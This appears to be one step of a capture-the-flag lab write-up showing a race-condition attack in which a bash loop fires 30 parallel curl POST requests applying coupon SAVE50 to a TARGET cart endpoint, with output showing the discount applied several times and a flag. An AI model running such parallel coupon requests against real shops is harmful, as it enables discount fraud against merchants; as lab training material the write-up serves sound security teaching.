Send 30 concurrent POST requests applying SAVE50 before the server marks it used. Use Burp's "Send group in parallel" feature or curl with &.
Command / Input
for i in $(seq 30); do curl -s -X POST http://TARGET/api/cart/coupon -d '{"code":"SAVE50"}' & done
Output
Multiple responses: {"discount":50,"flag":"HackrGG{r4c3_c0nd1t10n_c0up0n_r3us3d}"}
⚑ The flag appears in responses where the coupon was applied multiple times before the lock kicked in.